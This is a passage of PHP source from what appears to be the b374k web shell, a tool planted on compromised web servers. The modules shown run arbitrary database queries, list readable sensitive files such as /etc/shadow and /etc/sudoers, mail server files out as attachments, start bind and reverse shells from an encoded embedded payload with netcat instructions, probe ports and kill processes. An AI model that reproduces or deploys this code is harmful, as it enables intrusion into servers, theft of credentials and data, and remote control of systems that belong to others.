                        if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
                        elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
                }
                elseif($sqltype == 'pgsql') return pg_num_fields($result);
                elseif($sqltype == 'oracle') return oci_num_fields($result);
                elseif($sqltype == 'sqlite3') return $result->numColumns();
                elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
                elseif($sqltype == 'odbc') return odbc_num_fields($result);
                elseif($sqltype == 'pdo') return $result->columnCount();
        }
}

if(!function_exists('sql_field_name')){
        function sql_field_name($sqltype,$result,$i){
                if($sqltype == 'mysql'){
                        if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
                        elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
                }
                elseif($sqltype == 'mssql'){
                        if(function_exists('sqlsrv_field_metadata')){
                                $metadata = sqlsrv_field_metadata($result);
                                if(is_array($metadata)){
                                        $metadata=$metadata[$i];
                                }
                                if(is_array($metadata)) return $metadata['Name'];
```

```php
                                }
                                elseif(function_exists('mssql_field_name')) return mssql_field_name
($result,$i);
                }
                elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
                elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
                elseif($sqltype == 'sqlite3') return $result->columnName($i);
                elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
                elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
                elseif($sqltype == 'pdo'){
                        $res = $result->getColumnMeta($i);
                        return $res['name'];
                }
        }
}

if(!function_exists('sql_fetch_data')){
        function sql_fetch_data($sqltype,$result){
                if($sqltype == 'mysql'){
                        if(class_exists('mysqli_result')) return $result->fetch_row();
                        elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($
result);
                }
                elseif($sqltype == 'mssql'){
                        if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array
($result,1);
                        elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($
result);
                }
                elseif($sqltype == 'pgsql') return pg_fetch_row($result);
                elseif($sqltype == 'oracle') return oci_fetch_row($result);
                elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
                elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
                elseif($sqltype == 'odbc') return odbc_fetch_array($result);
                elseif($sqltype == 'pdo') return $result->fetch(2);
        }
}

if(!function_exists('sql_close')){
        function sql_close($sqltype,$con){
                if($sqltype == 'mysql'){
                        if(class_exists('mysqli')) return $con->close();
                        elseif(function_exists('mysql_close')) return mysql_close($con);
                }
                elseif($sqltype == 'mssql'){
                        if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
                        elseif(function_exists('mssql_close')) return mssql_close($con);
                }
                elseif($sqltype == 'pgsql') return pg_close($con);
                elseif($sqltype == 'oracle') return oci_close($con);
                elseif($sqltype == 'sqlite3') return $con->close();
                elseif($sqltype == 'sqlite') return sqlite_close($con);
                elseif($sqltype == 'odbc') return odbc_close($con);
                elseif($sqltype == 'pdo') return $con = null;
        }
}

if(!function_exists('sql_get_supported')){
        function sql_get_supported(){
                $db_supported = array();

                if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
                if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $
db_supported[] = 'mssql';
                if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
                if(function_exists("oci_connect")) $db_supported[] = 'oracle';
                if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
                if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
```

```php
                if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
                if(class_exists("PDO")) $db_supported[] = 'pdo';

                return implode(",", $db_supported);
        }
}

if(isset($p['dbGetSupported'])){
        $res = sql_get_supported();
        if(empty($res)) $res = "error";
        output($res);
}
elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&
isset($p['dbPort'])){
        $type = $p['dbType'];
        $host = $p['dbHost'];
        $user = $p['dbUser'];
        $pass = $p['dbPass'];
        $port = $p['dbPort'];

        $con = sql_connect($type ,$host , $user , $pass);
        $res = "";

        if($con!==false){
                if(isset($p['dbQuery'])){
                        $query = $p['dbQuery'];
                        $pagination = "";
                        if((isset($p['dbDB']))&&(isset($p['dbTable']))){
                                $db = trim($p['dbDB']);
                                $table = trim($p['dbTable']);
                                $start = (int) (isset($p['dbStart']))? trim($p['dbStart']):
0;
                                $limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):
100;

                                if($type=='mysql'){
                                        $query = "SELECT * FROM ".$db.".".$table." LIMIT ".
$start.",".$limit.";";
                                }
                                elseif($type=='mssql'){
                                        $query = "SELECT TOP ".$limit." * FROM ".$db."..".$
table.";";
                                }
                                elseif($type=='pgsql'){
                                        $query = "SELECT * FROM ".$db.".".$table." LIMIT ".
$limit." OFFSET ".$start.";";
                                }
                                elseif($type=='oracle'){
                                        $limit = $start + $limit;
                                        $query = "SELECT * FROM ".$db.".".$table." WHERE RO
WNUM BETWEEN ".$start." AND ".$limit.";";
                                }
                                elseif($type=='sqlite' || $type=='sqlite3'){
                                        $query = "SELECT * FROM ".$table." LIMIT ".$start."
,".$limit.";";
                                }
                                else $query = "";

                                $pagination = "Limit <input type='text' id='dbLimit' value=
'".html_safe($limit)."' style='width:50px;'>
                                                <span class='button' onclic
k=\"db_pagination('prev');\">prev</span>
                                                <span class='button' onclic
k=\"db_pagination('next');\">next</span>
                                                <input type='hidden' id='db
DB' value='".html_safe($db)."'>
                                                <input type='hidden' id='db
Table' value='".html_safe($table)."'>
```

```
                                                        <input type='hidden' id='db
Start' value='".html_safe($start)."'>
                                                        ";
                }

                $querys = explode(";", $query);
                foreach($querys as $query){
                        if(trim($query) != ""){
                                $query_query = sql_query($type, $query, $con);
                                if($query_query!=false){
                                        $res .= "<p>".html_safe($query)." &nb
sp; <span class='strong'>[</span> ok <span class='strong'>]</span></p>";
                                        if(!empty($pagination)){
                                                $res .= "<p>".$pagination."</p>";
                                        }
                                        if(!is_bool($query_query)){
                                                $res .= "<table class='border dataV
iew sortable tblResult'><tr>";
                                                for($i = 0; $i < sql_num_fields($ty
pe, $query_query); $i++)
                                                        $res .= "<th>".html_safe(sq
l_field_name($type, $query_query, $i))."</th>";
                                                $res .= "</tr>";
                                                while($rows = sql_fetch_data($type,
 $query_query)){
                                                        $res .= "<tr>";
                                                        foreach($rows as $r){
                                                                if(empty($r)) $r =
" ";
                                                                $res .= "<td>".html
_safe($r)."</td>";
                                                        }
                                                        $res .= "</tr>";
                                                }
                                                $res .= "</table>";
                                        }
                                }
                                else{
                                        $res .= "<p>".html_safe($query)." &nb
sp; <span class='strong'>[</span> error <span class='strong'>]</span></p>";
                                }
                        }
                }
        }
        else{
                if(($type!='pdo') && ($type!='odbc')){
                        if($type=='mysql') $showdb = "SHOW DATABASES";
                        elseif($type=='mssql') $showdb = "SELECT name FROM master..
sysdatabases";
                        elseif($type=='pgsql') $showdb = "SELECT schema_name FROM i
nformation_schema.schemata";
                        elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS
.ALL_USERS ORDER BY USERNAME";
                        elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "
SELECT \"".$host."\"";
                        else $showdb = "SHOW DATABASES";

                        $query_db = sql_query($type, $showdb, $con);

                        if($query_db!=false) {
                                while($db_arr = sql_fetch_data($type, $query_db)){
                                        foreach($db_arr as $db){
                                                if($type=='mysql') $showtbl = "SHOW
 TABLES FROM ".$db;
                                                elseif($type=='mssql') $showtbl = "
SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
                                                elseif($type=='pgsql') $showtbl = "
SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
```

```php
                                                        elseif($type=='oracle') $showtbl =
"SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
                                                        elseif(($type=='sqlite3') || ($type
=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
                                                        else $showtbl = "";

                                                        $res .= "<p class='boxtitle boxNav'
 style='padding:8px 32px;margin-bottom:4px;'>".$db."</p><table class='border' style='displa
y:none;margin:8px 0;'>";

                                                        $query_table = sql_query($type, $sh
owtbl, $con);

                                                        if($query_table!=false){
                                                                while($tables_arr = sql_fet
ch_data($type, $query_table)){
                                                                        foreach($tables_arr
 as $table) $res .= "<tr><td class='dbTable borderbottom' style='cursor:pointer;'>".$table.
"</td></tr>";
                                                                }
                                                        }
                                                        $res .= "</table>";
                                                }
                                        }
                                }
                        }
                }
        }
        if(!empty($res)) output($res);
        output('error');
}

$GLOBALS['module']['info']['id'] = "info";
$GLOBALS['module']['info']['title'] = "Info";
$GLOBALS['module']['info']['js_ontabselected'] = "";
$GLOBALS['module']['info']['content'] = "<div class='border infoResult'></div>";

if(!function_exists('info_getinfo')){
        function info_getinfo(){
                $res = "";
                // server misc info
                $res .= "<p class='boxtitle' onclick=\"info_toggle('info_server');\" style=
'margin-bottom:8px;'>Server Info</p>";
                $res .= "<div id='info_server' style='margin-bottom:8px;display:none;'><tab
le class='dataView'>";

                if(is_win()){
                        foreach (range("A", "Z") as $letter){
                                if(is_readable($letter.":\\")){
                                        $drive = $letter.":";
                                        $res .= "<tr><td>drive ".$drive."</td><td>".format_
bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>
";
                                }
                        }
                }
                else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space(
"/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>";

                $res .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
                $access = array("python"=>"python -V",
                                                "perl"=>"perl -e \"print \$]\"",
                                                "python"=>"python -V",
                                                "ruby"=>"ruby -v",
                                                "node"=>"node -v",
                                                "nodejs"=>"nodejs -v",
                                                "gcc"=>"gcc -dumpversion",
                                                "java"=>"java -version",
                                                "javac"=>"javac -version"
```

```php
                                        );

                foreach($access as $k=>$v){
                        $version = execute($v);
                        $version = explode("\n", $version);
                        if($version[0]) $version = $version[0];
                        else $version = "?";

                        $res .= "<tr><td>".$k."</td><td>".$version."</td></tr>";
                }

                if(!is_win()){
                        $interesting = array(
                        "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/et
c/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
                        "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
                        "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.con
f", "/usr/local/squid/etc/squid.conf",
                        "/etc/ssh/sshd_config",
                        "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf",
 " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf",
"/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/h
ttpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
                        "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
                        "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/mo
dules.conf", "/etc/modules");
                        foreach($interesting as $f){
                                if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f.
"</td><td><a data-path='".html_safe($f)."' onclick='view_entry(this);'>".$f." is readable</
a></td></tr>";
                        }
                }
                $res .= "</table></div>";

                if(!is_win()){
                        // cpu info
                        if($i_buff=trim(read_file("/proc/cpuinfo"))){
                                $res .= "<p class='boxtitle' onclick=\"info_toggle('info_cp
u');\" style='margin-bottom:8px;'>CPU Info</p>";
                                $res .= "<div class='info' id='info_cpu' style='margin-bott
om:8px;display:none;'>";
                                $i_buffs = explode("\n\n", $i_buff);
                                foreach($i_buffs as $i_buffss){
                                        $i_buffss = trim($i_buffss);
                                        if($i_buffss!=""){
                                                $i_buffsss = explode("\n", $i_buffss);
                                                $res .= "<table class='dataView'>";
                                                foreach($i_buffsss as $i){
                                                        $i = trim($i);
                                                        if($i!=""){
                                                                $ii = explode(":",$i);
                                                                if(count($ii)==2) $res .= "
<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
                                                        }
                                                }
                                                $res .= "</table>";
                                        }
                                }
                                $res .= "</div>";
                        }

                        // mem info
                        if($i_buff=trim(read_file("/proc/meminfo"))){
                                $res .= "<p class='boxtitle' onclick=\"info_toggle('info_me
m');\" style='margin-bottom:8px;'>Memory Info</p>";
                                $i_buffs = explode("\n", $i_buff);
                                $res .= "<div class='info' id='info_mem' style='margin-bott
om:8px;display:none;'><table class='dataView'>";
```

```php
                                        foreach($i_buffs as $i){
                                                $i = trim($i);
                                                if($i!=""){
                                                        $ii = explode(":",$i);
                                                        if(count($ii)==2) $res .= "<tr><td>".$ii[0]
."</td><td>".$ii[1]."</td></tr>";
                                                }
                                                else $res .= "</table><table class='dataView'>";
                                        }
                                        $res .= "</table></div>";
                                }

                                // partition
                                if($i_buff=trim(read_file("/proc/partitions"))){
                                        $i_buff = preg_replace("/\ +/", " ", $i_buff);
                                        $res .= "<p class='boxtitle' onclick=\"info_toggle('info_pa
rt');\" style='margin-bottom:8px;'>Partitions Info</p>";
                                        $res .= "<div class='info' id='info_part' style='margin-bot
tom:8px;display:none;'>";
                                        $i_buffs = explode("\n\n", $i_buff);
                                        $res .= "<table class='dataView'><tr>";
                                        $i_head = explode(" ", $i_buffs[0]);
                                        foreach($i_head as $h) $res .= "<th>".$h."</th>";
                                        $res .= "</tr>";
                                        $i_buffss = explode("\n", $i_buffs[1]);
                                        foreach($i_buffss as $i_b){
                                                $i_row = explode(" ", trim($i_b));
                                                $res .= "<tr>";
                                                foreach($i_row as $r) $res .= "<td style='text-alig
n:center;'>".$r."</td>";
                                                $res .= "</tr>";
                                        }
                                        $res .= "</table>";
                                        $res .= "</div>";
                                }
                        }
                        $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO
_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP
Variables" => INFO_VARIABLES);
                        foreach($phpinfo as $p=>$i){
                                $res .= "<p class='boxtitle' onclick=\"info_toggle('".$i."');\" sty
le='margin-bottom:8px;'>".$p."</p>";
                                ob_start();
                                eval("phpinfo(".$i.");");
                                $b = ob_get_contents();
                                ob_end_clean();
                                if(preg_match("/<body>(.*?)<\/body>/is", $b, $r)){
                                        $body = str_replace(array(",", ";", "&amp;"), array(", ", "
; ", "&"), $r[1]);
                                        $body = str_replace("<table", "<table class='boxtbl' ", $bo
dy);
                                        $body = preg_replace("/<tr class=\"h\">(.*?)<\/tr>/", "", $
body);
                                        $body = preg_replace("/<a href=\"http:\/\/www.php.net\/(.*?
)<\/a>/", "", $body);
                                        $body = preg_replace("/<a href=\"http:\/\/www.zend.com\/(.*
?)<\/a>/", "", $body);

                                        $res .= "<div class='info' id='".$i."' style='margin-bottom
:8px;display:none;'>".$body."</div>";
                                }
                        }

                        $res .= "<span class='button colSpan' onclick=\"info_refresh();\" style='ma
rgin-bottom:8px;'>refresh</span><div style='clear:both;'></div>";
                        return $res;
                }
}
```

```php
if(isset($p['infoRefresh'])){
        output(info_getinfo());
}

$GLOBALS['module']['mail']['id'] = "mail";
$GLOBALS['module']['mail']['title'] = "Mail";
$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();
";
$GLOBALS['module']['mail']['content'] = "
<table class='boxtbl'>
<thead>
        <tr><th colspan='2'><p class='boxtitle'>Mail</p></th></tr>
</thead>
<tbody id='mailTBody'>
        <tr><td style='width:120px'>From</td><td colspan='2'><input type='text' id='mailFro
m' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
        <tr><td>To</td><td><input type='text' id='mailTo' value='' onkeydown=\"trap_enter(e
vent, 'mail_send');\"></td></tr>
        <tr><td>Subject</td><td><input type='text' id='mailSubject' value='' onkeydown=\"tr
ap_enter(event, 'mail_send');\"></td></tr>
</tbody>
<tfoot>
        <tr><td colspan='2'><textarea id='mailContent' style='height:140px;min-height:140px
;'></textarea></td></tr>
        <tr>
                <td colspan='2'><span style='width:120px;' class='button' onclick=\"mail_se
nd();\">send</span>
                <span style='width:120px;' class='button' onclick=\"mail_attach();\">attach
ment</span>
                </td>
        </tr>
        <tr><td colspan='2'><span id='mailResult'></span></td></tr>
</tfoot>
</table>
";

if(!function_exists('send_email')){
        function send_email($from, $to, $subject, $msg, $attachment){
                $headers = "MIME-Version: 1.0\r\n".$from;

                $rand = md5(time());
                $headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n"
;

                $headers .= "--".$rand."\r\n";
                $headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer
-Encoding: 8bit\r\n\r\n";
                $headers .= $msg."\r\n\r\n";

                if(count($attachment)>0){
                        foreach($attachment as $file){
                                if(is_file($file)){
                                        $content = chunk_split(base64_encode(read_file($fil
e)));
                                        $headers .= "--".$rand."\r\n";
                                        $headers .= "Content-Type: application/octet-stream
; name=\"".basename($file)."\"\r\n";
                                        $headers .= "Content-Transfer-Encoding: base64\r\n"
;
                                        $headers .= "Content-Disposition: attachment\r\n\r\
n";
                                        $headers .= $content."\r\n\r\n";
                                }
                        }
                }
                $headers .= "--".$rand."--\r\n";
                if(@mail($to, $subject, "", $headers)) return true;
```

```php
                return false;
        }
}

if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailCont
ent'])){
        $mailFrom = trim($p['mailFrom']);
        $mailTo = trim($p['mailTo']);
        $mailSubject = trim($p['mailSubject']);
        $mailContent = trim($p['mailContent']);
        $mailAttachment = trim($p['mailAttachment']);
        $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachm
ent']):array();

        if(empty($mailTo)) output("Please specify at least one recipient");
        if(!empty($mailFrom)){
                $mailFrom = "From: ".$mailFrom."\r\nReply-To: ".$mailFrom."\r\n";
        }

        foreach($mailAttachment as $file){
                $file = trim($file);
                if(empty($file)) continue;
                if(!is_file($file)) output("No such file : ".$file);
        }

        if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) out
put("Mail sent to ".html_safe($mailTo));
        output("Failed to send mail");
}

$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP
_HOST"])?$_SERVER["HTTP_HOST"]:"";
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":""
;
```

`$GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6Fq`
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E6dV9/A4cQ6hcjulfbVVZmIu3Z8SvqJHrqhZmC2hymXipRuE7sLUjurA6kgukydUsZRzlDbPb3z4MkohUksLnEO4yPi
QlX1EHLwaVmetlacrDvUkqyB8Trbk/U/GZeIu3qVseyKcIN/K//lV9XLR58ezHMIkUjMLq1wxES9VCU9I1a9ivB/eOJ
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dFqb8z+Yb8f4VCq1ZK2R6c9qAs9/eAfRmYn00uZBIXESp6YMtAnXQhg0uen5zzvTe7PIcjEsrSsvNUElSRD3unww3Wh
NDs9CypOP1sp7Rr/W1NiHDeOk7mQa1cfVG5zpy246x2pU531eShXlba8dkLYsCNVIhd5qwJmJTukgw4dGVsV2Z2b6lP
ztu86tVUuxePD25Uq6SZi/srizBWcgzGhPAwR7Z/5GkFLc2z7TOdM9if/6ADM0mFNQ9IQPpl+2JO8ec78bsd7GDAgT3
6LepLCyVqCAyCC8s4KkM6lZ3Xi13kctDIuZ+JalYDn9jaPD2UllObdJQzj4yLyVC+4QOAk8BANRN5eIRWen8JWOAwNy
VyYJg+l2yTdEN3a6crkeIi3FnRAPUXKspM4Vcwc15YJHi5VrTULwkp3OmpyJMFZo5iKwRP4ecGx8X40QcYB5gm2KyxV
HaI8DYCMi7Yyxi7NBQoYbzpVNoC87VkFDfaVHMDQYOEjSKL2BmKhG1/LHnxYCSEc06Um6OdpR6YZXcrhCzNt/O8Qhgn
TpRpVW78NVf1erdoBnNLmSh8RzdaOITCsu/p7fusfAjXE/dPkH4ppr2ALXgLPEER7G2OwW6Z9OZ1N24MNQhe1Vj0xmI
Y+MYx6rLYR1BG010DtIJjzC+bWIA+FU3QTtTvRle4hhLsPBGByJjRrAPVTPWEPH0y/MkC8YqIXNy2e1FgGMGMzuVYlH
T92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi
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Z9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSj
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HVuRlimG0dozN+f/O7/5vwA=";
```

```php
$GLOBALS['module']['network']['id'] = "network";
$GLOBALS['module']['network']['title'] = "Network";
$GLOBALS['module']['network']['js_ontabselected'] = "";
$GLOBALS['module']['network']['content'] = "
<table class='boxtbl'>
<thead>
        <tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>
</thead>
<tbody>
        <tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' valu
e='".$server_addr."' disabled></td></tr>
        <tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onk
eydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>
</tbody>
<tfoot>
        <tr>
                <td style='width:144px;'>
                        <select id='bindLang' class='rsType'>
                                ".$winbinary."
                        </select>
                </td>
                <td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run
</span></td>
        </tr>
        <tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_i
p port ' on your computer</pre></td></tr>
</tfoot>
</table>
<br>
```

```
<table class='boxtbl'>
<thead>
        <tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>
</thead>
<tbody>
        <tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' valu
e='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
        <tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onk
eydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
</tbody>
<tfoot>
        <tr>
                <td style='width:144px;'>
                        <select id='backLang' class='rsType'>
                                ".$winbinary."
                        </select>
                </td>
                <td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>ru
n</span></td>
        </tr>
        <tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer
and press ' run ' button</pre></td></tr>
</tfoot>
</table>
<br>
<table class='boxtbl'>
<thead>
        <tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr>
</thead>
<tbody>
        <tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='
tcp://".$server_addr."' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
        <tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkey
down=\"trap_enter(event, 'packet_go');\"></td></tr>
        <tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown
=\"trap_enter(event, 'packet_go');\"></td></tr>
        <tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5'
onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
        <tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onk
eydown=\"trap_enter(event, 'packet_go');\"></td></tr>
</tbody>
<tfoot>
        <tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140
px;'>GET / HTTP/1.1\\r\\n\\r\\n</textarea></td></tr>
        <tr>
                <td>
                        <span class='button' onclick=\"packet_go();\" style='width:120px;'>
run</span>
                </td>
                <td>You can also press ctrl+enter to submit</td>
        </tr>
        <tr><td colspan='2'><div id='packetResult'></div></td></tr>
</tfoot>
</table>
";


if(isset($p['rsLang']) && isset($p['rsArgs'])){
        $rsLang = $p['rsLang'];
        $rsArgs = $p['rsArgs'];
        $res = "";

        if($rsLang=="php"){
                $code = get_resource("rs_".$rsLang);
                if($code!==false){
                        $code = "\$target = \"".$rsArgs."\"; ?>".$code;
                        $res = eval_go($rsLang, $code, "", "");
                }
```

```php
        }
        else{
                $code = get_resource("rs_".$rsLang);
                if($code!==false){
                        $res = eval_go($rsLang, $code, "", $rsArgs);
                }
        }

        if($res===false) $res == "error";
        output(html_safe($res));
}
elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&is
set($p['packetTimeout'])&&isset($p['packetContent'])){
        $packetHost = trim($p['packetHost']);
        if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHo
st;

        $packetPort = (int) $p['packetPort'];

        $packetTimeout = (int) $p['packetTimeout'];
        $packetSTimeout = (int) $p['packetSTimeout'];

        $packetContent = $p['packetContent'];
        if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
        else{
                $packetContent = str_replace(array("\r","\n"), "", $packetContent);
                $packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packet
Content);
        }

        $res = "";


        $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
        if(!$sock){
                $res .= "<div class='weak'>";
                $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div
>";
        }
        else{
                stream_set_timeout($sock, $packetSTimeout);
                fwrite($sock, $packetContent."\r\n\r\n\x00");
                $counter = 0;
                $maxtry = 1;
                $bin = "";
                do{
                        $line = fgets($sock, 1024);
                        if(trim($line)=="") $counter++;
                        $bin .= $line;
                }while($counter<$maxtry);
                fclose($sock);
                $res .= "<table class='boxtbl'><tr><td><textarea style='height:140px;min-he
ight:140px;'>".html_safe($bin)."</textarea></td></tr>";
                $res .= "<tr><td><textarea style='height:140px;min-height:140px;'>".bin2hex
($bin)."</textarea></td></tr></table>";
        }

        output($res);
}

$GLOBALS['module']['processes']['id'] = "processes";
$GLOBALS['module']['processes']['title'] = "Processes";
$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
$GLOBALS['module']['processes']['content'] = "";

if(!function_exists('show_processes')){
        function show_processes(){
                $output = '';
```

```php
                $wcount = 11;
                if(is_win()){
                        $cmd = "tasklist /V /FO csv";
                        $wexplode = "\",\"";
                }
                else{
                        $cmd = "ps aux";
                        $wexplode = " ";
                }

                $res = execute($cmd);
                if(trim($res)=='') return false;
                else{
                        $output .= "<table id='psTable' class='dataView sortable'>";
                        if(!is_win()) $res = preg_replace('#\ +#',' ',$res);

                        $psarr = explode("\n",$res);
                        $fi = true;
                        $tblcount = 0;

                        $check = explode($wexplode,$psarr[0]);
                        $wcount = count($check);

                        foreach($psarr as $psa){
                                if(trim($psa)!=''){
                                        if($fi){
                                                $fi = false;
                                                $psln = explode($wexplode, $psa, $wcount);
                                                $output .= "<tr><th class='col-cbox sorttab
le_nosort'><div class='cBoxAll'></div></th><th class='sorttable_nosort'>action</th>";
                                                foreach($psln as $p) $output .= "<th>".trim
(trim(strtolower($p)) ,"\"")."</th>";

                                                $output .= "</tr>";
                                        }
                                        else{
                                                $psln = explode($wexplode, $psa, $wcount);
                                                $pid = trim(trim($psln[1]),"\"");
                                                $tblcount = 0;
                                                $output .= "<tr data-pid='".$pid."'>";

                                                foreach($psln as $p){
                                                        if(trim($p)=="") $p = " ";
                                                        $p = trim(trim($p) ,"\"");
                                                        $p = html_safe($p);
                                                        if($tblcount == 0){
                                                                $output .= "<td><div class=
'cBox'></div></td><td><a class='kill'>kill</a></td><td>".$p."</td>";
                                                                $tblcount++;
                                                        }
                                                        else{
                                                                $tblcount++;
                                                                if($tblcount == count($psln
)) $output .= "<td style='text-align:left;'>".$p."</td>";
                                                                else $output .= "<td style=
'text-align:center;'>".$p."</td>";
                                                        }
                                                }
                                                $output .= "</tr>";
                                        }
                                }
                        }
                        $colspan = count($psln)+1;
                        $colspanAll = $colspan+1;
                        $output .= "<tfoot><tr><td><div class='cBoxAll'></div></td><td cols
pan=".$colspan." style='text-align:left;'><span class='button' onclick='kill_selected();' s
tyle='margin-right:8px;'>kill selected</span><span class='button' onclick='show_processes()
;'>refresh</span><span class='psSelected'></span></td></tr></tfoot></table>";
                }
```

```php
                return $output;
        }
}


if(isset($p['showProcesses'])){
        $processes = show_processes();
        if($processes!==false) output($processes);
        output('error');
}
elseif(isset($p['allPid'])){
        $allPid = explode(" ", $p['allPid']);
        $counter = 0;
        foreach($allPid as $pid){
                $pid = trim($pid);
                if(!empty($pid)){
                        if(function_exists("posix_kill")){
                                if(posix_kill($pid,'9')) $counter++;
                        }
                        else{
                                if(is_win()){
                                        $cmd = execute("taskkill /F /PID ".$pid);
                                        $cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
                                        if(strpos($cmd,"No tasks are running")!==false) $co
unter++;
                                }
                                else{
                                        $cmd = execute("kill -9 ".$pid);
                                        if((strpos($cmd, "such process")===false)&&(strpos(
$cmd, "not permitted")===false)){
                                                $cmd = trim(execute("ps -p ".$pid));
                                                $check = explode("\n", $cmd);
                                                if(count($check)==1) $counter++;
                                        }
                                }
                        }
                }
        }
        if($counter>0) output($counter);
        else output('error');
}

$error = @ob_get_contents();
        $error_html = (!empty($error))?"<pre class='phpError border'>".str_replace("\n\n",
"\n", html_safe($error))."</pre>":"";
        @ob_end_clean();
        error_reporting(0);
        @ini_set('display_errors','0');


?><!doctype html>
<html>
<head>
<title><?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?></title>
<meta charset='utf-8'>
<meta name='robots' content='noindex, nofollow, noarchive'>
